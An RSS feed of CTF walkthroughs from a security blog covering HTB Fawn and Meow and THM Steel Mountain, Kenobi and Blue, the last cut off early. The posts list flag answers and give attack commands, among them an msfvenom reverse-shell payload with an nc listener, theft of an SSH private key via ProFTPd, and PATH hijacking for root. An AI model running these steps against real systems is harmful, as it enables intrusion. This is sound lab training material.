<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[nightf00t]]></title><description><![CDATA[Stepping through the night.]]></description><link>https://www.nightf00t.com</link><image><url>https://cdn.hashnode.com/res/hashnode/image/upload/v1745256968619/2bc86028-1441-4aeb-a4f1-f8b42566c5e3.jpeg</url><title>nightf00t</title><link>https://www.nightf00t.com</link></image><generator>RSS for Node</generator><lastBuildDate>Mon, 27 Apr 2026 02:48:55 GMT</lastBuildDate><atom:link href="https://www.nightf00t.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[HTB | Fawn]]></title><description><![CDATA[Task 1
What does the 3-letter acronym FTP stand for?
» Ans: File Transfer Protocol
Task 2
Which port does the FTP service listen on usually?
» Ans: 21
Task 3
FTP sends data in the clear, without any encryption. What acronym is used for a later protoc...]]></description><link>https://www.nightf00t.com/htb-fawn</link><guid isPermaLink="true">https://www.nightf00t.com/htb-fawn</guid><dc:creator><![CDATA[nightf00t]]></dc:creator><pubDate>Thu, 24 Apr 2025 21:01:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745527799325/ee8b30b8-c664-48f5-ab08-ef3699dd2c90.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Task 1</strong></p>
<p><strong>What does the 3-letter acronym FTP stand for?</strong></p>
<p><strong><mark>» Ans: File Transfer Protocol</mark></strong></p>
<p><strong>Task 2</strong></p>
<p><strong>Which port does the FTP service listen on usually?</strong></p>
<p><strong><mark>» Ans: 21</mark></strong></p>
<p><strong>Task 3</strong></p>
<p><strong>FTP sends data in the clear, without any encryption. What acronym is used for a later protocol designed to provide similar functionality to FTP but securely, as an extension of the SSH protocol?</strong></p>
<p><strong><mark>» Ans: SFTP</mark></strong></p>
<p><strong>Task 4</strong></p>
<p><strong>What is the command we can use to send an ICMP echo request to test our connection to the target?</strong></p>
<p><strong><mark>» Ans: Ping</mark></strong></p>
<p><strong>Task 5</strong></p>
<p><strong>From your scans, what version is FTP running on the target?</strong></p>
<p><code>nmap -sV -T4 10.129.14.204</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745528027034/0a3de39d-211e-4ae8-a043-1d0ce3d1497d.png" alt class="image--center mx-auto" /></p>
<p><strong><mark>» Ans: vsftpd 3.0.3</mark></strong></p>
<p><strong>Task 6</strong></p>
<p><strong>From your scans, what OS type is running on the target?</strong></p>
<p><strong><mark>» Ans: Unix</mark></strong></p>
<p><strong>Task 7</strong></p>
<p><strong>What is the command we need to run in order to display the 'ftp' client help menu?</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745528196529/35b67886-59a9-4db2-9fcf-cb9e88cd244e.png" alt class="image--center mx-auto" /></p>
<p><strong><mark>» Ans: ftp ?</mark></strong></p>
<p><strong>Task 8</strong></p>
<p><strong>What is username that is used over FTP when you want to log in without having an account?</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745528269603/13a26143-0f49-4649-be4b-187d96e1bd9c.png" alt class="image--center mx-auto" /></p>
<p><strong><mark>» Ans: Anonymous</mark></strong></p>
<p><strong>Task 9</strong></p>
<p><strong>What is the response code we get for the FTP message 'Login successful'?</strong></p>
<p><strong><mark>» Ans: 230</mark></strong></p>
<p><strong>Task 10</strong></p>
<p><strong>There are a couple of commands we can use to list the files and directories available on the FTP server. One is dir. What is the other that is a common way to list files on a Linux system.</strong></p>
<p><strong><mark>» Ans: ls</mark></strong></p>
<p><strong>Task 11</strong></p>
<p><strong>What is the command used to download the file we found on the FTP server?</strong></p>
<p><strong><mark>» Ans: get</mark></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745528421451/5a4a237c-5503-4601-a303-e80f9128913d.png" alt class="image--center mx-auto" /></p>
<p><strong>Submit Flag</strong></p>
<p><strong>Submit root flag</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745528473200/e6efcc63-2157-4ebb-b53a-2889585bb3dc.png" alt class="image--center mx-auto" /></p>
<p><strong><mark>» Ans: 035db21c881520061c53e0536e44f815</mark></strong></p>
]]></content:encoded></item><item><title><![CDATA[HTB | Meow]]></title><description><![CDATA[Task 1
What does the acronym VM stand for?
» Ans: Virtual Machine
Task 2
What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a cons...]]></description><link>https://www.nightf00t.com/htb-meow</link><guid isPermaLink="true">https://www.nightf00t.com/htb-meow</guid><dc:creator><![CDATA[nightf00t]]></dc:creator><pubDate>Thu, 24 Apr 2025 20:26:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745527414189/7ac35fbf-e24b-4748-8755-3aa9dcf1f8f4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><strong>Task 1</strong></p>
<p><strong>What does the acronym VM stand for?</strong></p>
<p><mark>» Ans: Virtual Machine</mark></p>
<p><strong>Task 2</strong></p>
<p><strong>What tool do we use to interact with the operating system in order to issue commands via the command line, such as the one to start our VPN connection? It's also known as a console or shell.</strong></p>
<p><mark>» Ans: Terminal</mark></p>
<p><strong>Task 3</strong></p>
<p><strong>What service do we use to form our VPN connection into HTB labs?</strong></p>
<p><strong><mark>» Ans: OpenVPN</mark></strong></p>
<p><strong>Task 4</strong></p>
<p><strong>What tool do we use to test our connection to the target with an ICMP echo request?</strong></p>
<p><strong><mark>» Ans: Ping</mark></strong></p>
<p><strong>Task 5</strong></p>
<p><strong>What is the name of the most common tool for finding open ports on a target?</strong></p>
<p><strong><mark>» Ans: Nmap</mark></strong></p>
<p><strong>Task 6</strong></p>
<p><strong>What service do we identify on port 23/tcp during our scans?</strong></p>
<p><strong><mark>» Ans: Telnet</mark></strong></p>
<h3 id="heading-nmap-sc-sv-pn-t4-10129144163"><code>nmap -sC -sV -Pn -T4 10.129.144.163</code></h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745525759503/bb90e969-fa38-4003-ae36-d53f8a59d544.png" alt="Telnet is open (port 23) ver. Linux telnetd" class="image--center mx-auto" /></p>
<p><strong>Task 7</strong></p>
<p><strong>What username is able to log into the target over telnet with a blank password?</strong></p>
<p><strong><mark>» Ans: root</mark></strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745526232068/3342ef0c-4b5d-4b13-9507-fcc681c4636b.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745526241868/ed54c056-73fb-47d5-85f8-781e557103b0.png" alt class="image--center mx-auto" /></p>
<p><strong>Submit Flag</strong></p>
<p><strong>Submit root flag</strong></p>
<p><strong><mark>» Ans: b40abdfe23665f766f9c61ecba8a4c19</mark></strong></p>
]]></content:encoded></item><item><title><![CDATA[THM | Steel Mountain]]></title><description><![CDATA[Steel Mountain

Hack into a Mr. Robot themed Windows machine. Use Metasploit for initial access, utilize Powershell for Windows PrivEsc enumeration and learn a new technique to get Administrator access.

Task 1: Introduction

Target IP: 10.10.200.57
...]]></description><link>https://www.nightf00t.com/thm-steel-mountain</link><guid isPermaLink="true">https://www.nightf00t.com/thm-steel-mountain</guid><dc:creator><![CDATA[nightf00t]]></dc:creator><pubDate>Mon, 21 Apr 2025 18:40:53 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745261489255/724ca10d-2b41-45a0-88c6-0095bbe4cec9.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-steel-mountain"><strong>Steel Mountain</strong></h1>
<ul>
<li>Hack into a Mr. Robot themed Windows machine. Use Metasploit for initial access, utilize Powershell for Windows PrivEsc enumeration and learn a new technique to get Administrator access.</li>
</ul>
<h1 id="heading-task-1-introduction"><strong>Task 1: Introduction</strong></h1>
<ul>
<li>Target IP: 10.10.200.57</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*kgGKr6giffm_fullygeuTg.png" alt /></p>
<p><a target="_blank" href="http://10.10.200.57">http://10.10.200.57</a></p>
<ul>
<li>The first question wants us to answer the following:</li>
</ul>
<blockquote>
<p><em>Who is the employee of the month?</em></p>
</blockquote>
<ul>
<li>To save you a lot of time and frustration of finding Bill’s last name, simply right click and select “View Page Source”. You should find the following:</li>
</ul>
<blockquote>
<p><em>&lt;img src=”/img/<strong><strong>BillHarper</strong></strong>.png” style=”width:200px;height:200px;”/&gt;</em></p>
<p><em>Q: Who is the employee of the month?</em></p>
<p><strong><em>A: Bill Harper</em></strong></p>
</blockquote>
<h1 id="heading-task-2-initial-access"><strong>Task 2: Initial Access</strong></h1>
<ul>
<li>Let’s start by gleaning some information about the IP using Nmap.</li>
</ul>
<blockquote>
<p><em>nmap -O -sV -sC — script vuln -oN steel.nmap 10.10.200.57</em></p>
</blockquote>
<p>— — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — <em>Coffee break☕</em> — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — — —</p>
<ul>
<li>After scanning and offloading the output to a file named “steel.nmap” so I can use for reference later , we learn that the following ports are open:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:805/1*2pG-MLza8MbXJ3uSXst31g.png" alt /></p>
<p>Open port enumeration results</p>
<blockquote>
<p><em>Q: Scan the machine with nmap. What is the other port running a web server on?</em></p>
<p><strong><em>A: 8080</em></strong></p>
</blockquote>
<ul>
<li>Since we’ve already taken a look at the first webserver running on port 80, let’s take a look at port 8080.</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*gSmLxmIHSGymHdjQDbKtOQ.png" alt /></p>
<p><a target="_blank" href="http://10.10.200.57:8080">http://10.10.200.57:8080</a></p>
<ul>
<li>The important information given here is located on the bottom left of the page. Select the HttpFileServer 2.3 hyperlink to learn who the vendor is.</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*HY6sA73__CksuNikwGjwLg.png" alt /></p>
<p>Vendor: rejetto</p>
<blockquote>
<p><em>Q: Take a look at the other web server. What file server is running?</em></p>
<p><strong><em>A: Rejetto HTTP File Server</em></strong></p>
</blockquote>
<ul>
<li>With the information that we’ve gathered thus far, we can either use the Exploit-DB website to find any CVE’s that can be used to exploit this server, use the CLI searchsploit command, or we can interact with msfconsole’s local Metasploit framework module database. I’ll be using the searchsploit command to enumerate the exploit along with its CVE number.</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*voNJmknzDrDdX4gz2inRFA.png" alt /></p>
<p>Enumerating the CVE. Any of the listed exploits should return the same CVE number.</p>
<blockquote>
<p><em>Q: What is the CVE number to exploit this file server?</em></p>
<p><strong><em>A: 2014–6287</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*Z7cCpBUCyC3u6Zbe73B7Vg.png" alt /></p>
<p>Discovered one vulnerability.</p>
<ul>
<li>Within Metasploit you can run the following to gain a meterpreter session:</li>
</ul>
<blockquote>
<p><em>use 0</em></p>
<p><em>set RHOSTS 10.10.200.57</em></p>
<p><em>set RPORT 8080</em></p>
<p><em>set LPORT 9090</em></p>
<p><em>run</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*D4qxzG_9RpR5RNE8aLL2fw.png" alt /></p>
<p>meterpreter session started.</p>
<ul>
<li>Once we reach our meterpreter session we’ll find that we are located in the following directory path:</li>
</ul>
<blockquote>
<p><em>C:\Users\bill\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup</em></p>
</blockquote>
<ul>
<li>cd back to C:\Users\bill\Desktop to find your flag.</li>
</ul>
<blockquote>
<p><em>Q: Use Metasploit to get an initial shell. What is the user flag?</em></p>
<p><strong><em>A: b04763b6fcf51fcd7c13abc7db4fd365</em></strong></p>
</blockquote>
<h1 id="heading-task-3-privesc"><strong>Task 3: PrivEsc</strong></h1>
<ul>
<li>Now, we will escalate our privileges to root.</li>
</ul>
<p>LOLBins!</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*N3xfK5ioodtxzz4OjJwFeg.png" alt /></p>
<p>Download the raw file.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*a_R4Ag4O2ZQKyxbW6-lANg.png" alt /></p>
<p>Create a new terminal and place the downloaded .ps1 file into the following path for upload to meterpreter shell.</p>
<ul>
<li>Follow the THM instructions:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*bbVSyOdBR6p3UkchqtQlmA.png" alt /></p>
<p>upload completed.</p>
<ul>
<li>Run the following commands within the meterpreter shell:</li>
</ul>
<blockquote>
<p><em>load powershell</em></p>
<p><em>powershell_shell</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*EjQ3SaCbl0gmBf_H5-QhXg.png" alt /></p>
<p>Powershell shell successfully loaded.</p>
<ul>
<li><p>At this point, what we are trying to do now is run the <a target="_blank" href="http://PowerUp.ps">PowerUp.ps</a>1 script to discover a vulnerability within bill’s system so we can escalate our privileges to root. We do this by finding a service that is running on his machine that is vulnerable to exploitation.</p>
</li>
<li><p>Run the following:</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*DWkEt3QLX8KTnf-gN9ltpQ.png" alt /></p>
<p>Running <a target="_blank" href="http://PowerUp.ps">PowerUp.ps</a>1 to enumerate vulnerabilities.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*z_ZoI5MBAWBxEeFx5WetZw.png" alt /></p>
<p>Discovering the vulnerable service running on bill’s machine.</p>
<blockquote>
<p><em>Q: Take close attention to the CanRestart option that is set to true. What is the name of the service which shows up as an unquoted service path vulnerability?</em></p>
<p><strong><em>A: AdvancedSystemCareService9</em></strong></p>
</blockquote>
<ul>
<li><p>The CanRestart option being true, allows us to restart a service on the system, the directory to the application is also write-able. This means we can replace the legitimate application with our malicious one, restart the service, which will run our infected program!</p>
</li>
<li><p>Now you may be asking, which infected program? With the power of msfvenom I can show you. The goal here is to create our own service that we can replace with the real vulnerable “ASCService.exe” running on bill’s machine, under the same service name, with a new infected payload executable generated by the msfvenom tool.</p>
</li>
<li><p>Exit the Powershell shell (Ctrl + C) we don’t need this anymore because we’ve already used it for finding the vulnerable service running on bill’s machine. (We can stay in the PS shell and run commands from here, but we are going to move away from it in the write-up.</p>
</li>
<li><p>Now, we can put our meterpreter session in the background and return to it later (Ctrl + Z). You can fully exit out of the session as well but then you’d have to reconnect which just takes longer. I will be putting it in the background so I can return to it in a bit. What I am going to focus on now is loading the msfvenom payload under the legit service name running on bill’s machine. This way, once the infected ASCService.exe is uploaded, we can masquerade it and swap it out for the vulnerable one.</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*yQj94lVYtl4nbsAwu0jBtg.png" alt /></p>
<p>Getting to where I want to start working w/ msfvenom.</p>
<ul>
<li>Run the following:</li>
</ul>
<blockquote>
<p><em>msfvenom -p windows/shell_reverse_tcp LHOST=10.10.200.57 LPORT=4443 -e x86/shikata_ga_nai -f exe-service -o ASCService.exe</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*fDpUCXwqiAltT8sIiTIwKg.png" alt /></p>
<p>Running msfvenom reverse shell payload and saving it as ASCService.exe</p>
<ul>
<li>Make sure your LHOST is set to whatever your local THM machine VPN IP is set to:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:424/1*d6jPHzMu9btgHkaXV9Tx_g.png" alt /></p>
<p>tun0 IP aka LHOST.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*HayETZ7OGQviI9bVTg0UBw.png" alt /></p>
<p>.exe downloaded location.</p>
<ul>
<li>Since my tailored/infected ASCService.exe is located in my /root folder. My meterpreter shell should upload from this specific path. See the following for guidance:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*m5lNPEN3F8pIiIC5OcU0Lg.png" alt /></p>
<p>uploading the .exe from the downloaded location.</p>
<ul>
<li><p>Also take note to upload from C:\Users\bill. Uploading from other paths may deny you access.</p>
</li>
<li><p>Now, it is time to replace the legitimate service with our infected one.</p>
</li>
<li><p>Drop down a Windows shell by running:</p>
</li>
</ul>
<blockquote>
<p><em>shell</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*eWLxgkWTgI702urRqOANLA.png" alt /></p>
<p>Dropping down into a Windows shell.</p>
<ul>
<li>Stop the legitimate process running on bill’s machine:</li>
</ul>
<blockquote>
<p><em>sc stop AndvancedSystemCareService9</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*JxyTMF9F-UU0mPRa0UqJlg.png" alt /></p>
<p>AdvancedSystemCareService9 stopped so we can swap.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*D8XCKGRbH_ONfNs9a7FEOA.png" alt /></p>
<p>Appropriate paths copied and swapped.</p>
<ul>
<li><p>Copy the file and start a separate terminal to listen on via Netcat.</p>
</li>
<li><p>Run the following:</p>
</li>
</ul>
<blockquote>
<p><em>nc -lvnp 4443</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*45o0IS9KyJ4mQefeGj9ahQ.png" alt /></p>
<p>Starting AdvancedSystemCareService9 w/ swapped out ASCService.exe.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*G7Yj1zahR30bg5-rG-ZS7w.png" alt /></p>
<p>listening in via Netcat using port 4443.</p>
<ul>
<li><p>Make sure to listen first before starting the service.</p>
</li>
<li><p>Navigate to C:\Users\Administrator\Desktop\root.txt to get the flag.</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*JJ73zU8AKDYVCCIG8qu57A.png" alt /></p>
<p>Obtaining the root flag!</p>
<blockquote>
<p><em>Q: What is the root flag?</em></p>
<p><strong><em>A: 9af5f314f57607c00fd09803a587db80</em></strong></p>
</blockquote>
<p>Congratulations!</p>
]]></content:encoded></item><item><title><![CDATA[THM | Kenobi]]></title><description><![CDATA[Kenobi

Enumerate Samba for shares, manipulate a vulnerable version of ProFTPd and escalate your privileges with path variable manipulation.

Task 1: Deploy the Vulnerable Machine

Scan the machine.


nmap -sC -sV 10.10.133.242


http://10.10.133.242...]]></description><link>https://www.nightf00t.com/thm-kenobi</link><guid isPermaLink="true">https://www.nightf00t.com/thm-kenobi</guid><dc:creator><![CDATA[nightf00t]]></dc:creator><pubDate>Mon, 21 Apr 2025 18:38:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745261508115/c6067943-8886-4902-8f81-ccbf086590e4.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-kenobi"><strong>Kenobi</strong></h1>
<ul>
<li>Enumerate Samba for shares, manipulate a vulnerable version of ProFTPd and escalate your privileges with path variable manipulation.</li>
</ul>
<h1 id="heading-task-1-deploy-the-vulnerable-machine"><strong>Task 1: Deploy the Vulnerable Machine</strong></h1>
<ul>
<li>Scan the machine.</li>
</ul>
<blockquote>
<p><em>nmap -sC -sV 10.10.133.242</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*hrR8WoqxBg-CvahSZHJyjA.png" alt /></p>
<p>http://10.10.133.242</p>
<blockquote>
<p><em>Q: Scan the machine with nmap, how many ports are open?</em></p>
<p><strong><em>A: 7</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*uKUCBHJuChPCreGPS4veUQ.png" alt /></p>
<p>/admin.html disallowed entry.</p>
<p><a target="_blank" href="http://10.10.133.242/admin.html">http://10.10.133.242/admin.html</a> — This should look familiar.</p>
<h1 id="heading-task-2-enumerating-samba-for-shares"><strong>Task 2: Enumerating Samba for Shares</strong></h1>
<p><strong>Samba Bg:</strong></p>
<ul>
<li><p>Samba is the standard Windows interoperability suite of programs for Linux and Unix. It allows end users to access and use files, printers and other commonly shared resources on a companies intranet or internet. Its often referred to as a network file system.</p>
</li>
<li><p>Samba is based on the common client/server protocol of Server Message Block (SMB). SMB is developed only for Windows, without Samba, other computer platforms would be isolated from Windows machines, even if they were part of the same network.</p>
</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:715/1*VSNN07il4bdh2zXIpTS6CQ.png" alt /></p>
<p>Port 139 and 445.</p>
<blockquote>
<p><em>nmap -p 445 — script=smb-enum-shares.nse,smb-enum-users.nse 10.10.133.242</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*_MbNhgtRN-Woz4BFZnY-Sw.png" alt /></p>
<p>Enumerating Samba shares.</p>
<blockquote>
<p><em>Q: Using the nmap command above, how many shares have been found?</em></p>
<p><strong><em>A: 3</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*pu3KM5sy0unQpQGzbVU31A.png" alt /></p>
<p>Failed attempt at fuzzing for outstanding directories.</p>
<ul>
<li>Connect to the machine’s network share.</li>
</ul>
<blockquote>
<p><em>smbclient //10.10.133.242/anonymous</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*1eHF4Hm6rqcOwzO0qzjHjQ.png" alt /></p>
<p>When asked for a password do not give up. Try pressing “Enter” :)</p>
<blockquote>
<p><em>Q: Once you’re connected, list the files on the share. What is the file you can see?</em></p>
<p><strong><em>A: log.txt</em></strong></p>
<p><em>smbget -R smb://10.10.133.242/anonymous</em></p>
</blockquote>
<ul>
<li><p>Open the file on the share.</p>
</li>
<li><p>View log.txt and find what port FTP is running on.</p>
</li>
</ul>
<blockquote>
<p><em>Q: What port is FTP running on?</em></p>
<p><strong><em>A: 21</em></strong></p>
</blockquote>
<ul>
<li>Our earlier nmap port scan will have shown port 111 running the service rpcbind. This is just a server that converts remote procedure call (RPC) program number into universal addresses. When an RPC service is started, it tells rpcbind the address at which it is listening and the RPC program number its prepared to serve.</li>
</ul>
<blockquote>
<p><em>nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.133.242</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*RqhGwoBg9hLF-A13auZ5_Q.png" alt /></p>
<p>Enumerating port 111 to access network file system and view mount point.</p>
<blockquote>
<p><em>Q: What mount can we see?</em></p>
<p><strong><em>A: /var</em></strong></p>
</blockquote>
<h1 id="heading-task-3-gain-initial-access-with-proftpd"><strong>Task 3: Gain Initial Access with ProFTPd</strong></h1>
<p><strong>ProFTPd Bg:</strong></p>
<ul>
<li><p>ProFtpd is a free and open-source FTP server, compatible with Unix and Windows systems. Its also been vulnerable in the past software versions.</p>
</li>
<li><p>Use Netcat to connect to the machine on the FTP port.</p>
</li>
</ul>
<blockquote>
<p><em>nc 10.10.133.242 21</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*R7RDkQm7njaeI9FJ6C4ljA.png" alt /></p>
<p>Running nc to glean information on ProFTPd’s version.</p>
<blockquote>
<p><em>Q: What is the version?</em></p>
<p><strong><em>A: 1.3.5</em></strong></p>
</blockquote>
<ul>
<li>Use Searchsploit to find exploits for proFTPd 1.3.5 version of software.</li>
</ul>
<p><strong>Searchsploit Bg:</strong></p>
<ul>
<li>Searchsploit is a command line search tool for Exploit-DB that also allows you to take a copy of Exploit Database with you, everywhere you go. (<a target="_blank" href="https://www.exploit-db.com/">https://www.exploit-db.com/</a>).</li>
</ul>
<blockquote>
<p><em>searchsploit proftpd 1.3.5</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*YLDjKm11tVxQ1sUjbc6LhA.png" alt /></p>
<p>Running Searchsploit.</p>
<blockquote>
<p><em>Q: How many exploits are there for the ProFTPd running?</em></p>
<p><strong><em>A: 4</em></strong></p>
</blockquote>
<ul>
<li>Copy Kenobi’s private key using SITE CPFR (Copy File From Remote) and SITE CPTO (Copy File To Remote) commands.</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*iw0Wp9w2nf9IXIKq_GsRmA.png" alt /></p>
<p>Using SITE CPFR and SITE CPTO commands.</p>
<ul>
<li><p>We know that the /var directory was a mount we could see (when we used: nmap -p 111 — script=nfs-ls,nfs-statfs,nfs-showmount 10.10.2.185) so we’ve now moved Kenobi’s private key to the /var/tmp directory.</p>
</li>
<li><p>Now we can mount the /var/tmp directory to our machine.</p>
</li>
</ul>
<blockquote>
<p><em>mkdir /mnt/kenobiNFS<br />mount 10.10.2.185:/var /mnt/kenobiNFS<br />ls -la /mnt/kenobiNFS</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*DTOHKZ05zc977BZT-o2oiw.png" alt /></p>
<p>Mounting.</p>
<ul>
<li>Now that we have a network mount on our deployed machine, we can go to /var/tmp and get the private key and then login to Kenobi’s account.</li>
</ul>
<blockquote>
<p><em>cp /mnt/kenobiNFS/tmp/id_rsa .<br />sudo chmod 600 id_rsa<br />ssh -i id_rsa kenobi@10.10.2.185</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*KxlporUL0B0KmsdpeHxMJw.png" alt /></p>
<p>Getting the Private Key and logging into Kenobi’s account.</p>
<h1 id="heading-task-4-privilege-escalation-with-path-variable-manipulation"><strong>Task 4: Privilege Escalation with Path Variable Manipulation</strong></h1>
<ul>
<li>Understanding what SUID, SGID and Sticky Bits are:</li>
</ul>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*KAwgDXNDdHss8iNpfQ1NRQ.png" alt /></p>
<ul>
<li>Running the following to search the system for other custom files that could have the SUID bit.</li>
</ul>
<blockquote>
<p><em>find / -perm -u=s -type f 2&gt;/dev/null</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*RclJ148uvJZfMTu6A2sARw.png" alt /></p>
<p>Locating path/binary.</p>
<blockquote>
<p><em>Q: What file looks particularly out of the ordinary?</em></p>
<p><strong><em>A: /usr/bin/menu</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*1Wtd7QT_1cWflSrF7YfFkw.png" alt /></p>
<p>Running the binary.</p>
<blockquote>
<p><em>Q: Run the binary, how many options appear?</em></p>
<p><strong><em>A: 3</em></strong></p>
</blockquote>
<ul>
<li>Run the following:</li>
</ul>
<blockquote>
<p><em>strings /usr/bin/menu</em></p>
</blockquote>
<ul>
<li><p>This tells us that as the file runs with root user privileges, we can manipulate our path to gain a root shell.</p>
</li>
<li><p>As this file runs as the root users privileges, we can manipulate our path to gain a root shell.</p>
</li>
</ul>
<blockquote>
<p><em>cd /tmp<br />echo /bin/sh &gt; curl<br />chmod 777 curl<br />export PATH=/tmp:$PATH</em></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*zmoi1yWENgeQOBXqD0rgIA.png" alt /></p>
<p>Manipulating our path to gain a root shell.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*RxjXAU4VVZZ1VUaGAhfp7Q.png" alt /></p>
<p>Gaining root shell and discovering flag.</p>
<ul>
<li>We copied the /bin/sh shell, called it curl, gave it the correct permissions and then put its location in our path. This meant that when the /usr/bin/menu binary was run, its using our path variable to find the “curl” binary, which is actually a version of /usr/sh, as well as this file being run as root it runs our shell as root!</li>
</ul>
<blockquote>
<p><em>Q: What is the root flag (/root/root.txt)?</em></p>
<p><strong><em>A: 177b3cd8562289f37382721c28381f02</em></strong></p>
</blockquote>
<p>Congratulations!</p>
]]></content:encoded></item><item><title><![CDATA[THM | Blue]]></title><description><![CDATA[BLUE

Deploy and hack into a Windows machine, leveraging common misconfigurations issues.

Task 1: Recon

Scan the machine.


nmap -sV -sC — script vuln -oN blue.nmap 10.10.147.79
Q: How many ports are open with a port number under 1000?
A: 3


Scann...]]></description><link>https://www.nightf00t.com/thm-blue</link><guid isPermaLink="true">https://www.nightf00t.com/thm-blue</guid><dc:creator><![CDATA[nightf00t]]></dc:creator><pubDate>Mon, 21 Apr 2025 18:00:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1745261529529/61cdbf9a-52f0-4fc2-a407-5089e1caa35c.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-blue"><strong>BLUE</strong></h1>
<ul>
<li>Deploy and hack into a Windows machine, leveraging common misconfigurations issues.</li>
</ul>
<h1 id="heading-task-1-recon"><strong>Task 1: Recon</strong></h1>
<ul>
<li>Scan the machine.</li>
</ul>
<blockquote>
<p><em>nmap -sV -sC — script vuln -oN blue.nmap 10.10.147.79</em></p>
<p><em>Q: How many ports are open with a port number under 1000?</em></p>
<p><strong><em>A: 3</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*qmDQOdP4fWLCdVf3o8tn1A.png" alt /></p>
<p>Scanning the machine using NSE vulnerability script.</p>
<blockquote>
<p><em>Q: What is this machine vulnerable to? (Answer in the form of: ms??-???, ex: ms08–067)</em></p>
<p><strong><em>A: ms17–010</em></strong></p>
</blockquote>
<p><img src="https://miro.medium.com/v2/resize:fit:875/1*Wfdb3JduAm24jhsvf33oKQ.png" alt /></p>
<p>Vulnerable to ms17–010 aka “EternalBlue”.</p>
<h1 id="heading-task-2-gain-access"><strong>Task 2: Gain Access</strong></h1>
<ul>
<li>Start Metasploit.</li>
</ul>
<blockquote>
<p><em>msfconsole</em></p>
<p><em>search ms17–010</em></p>
</blockquote>
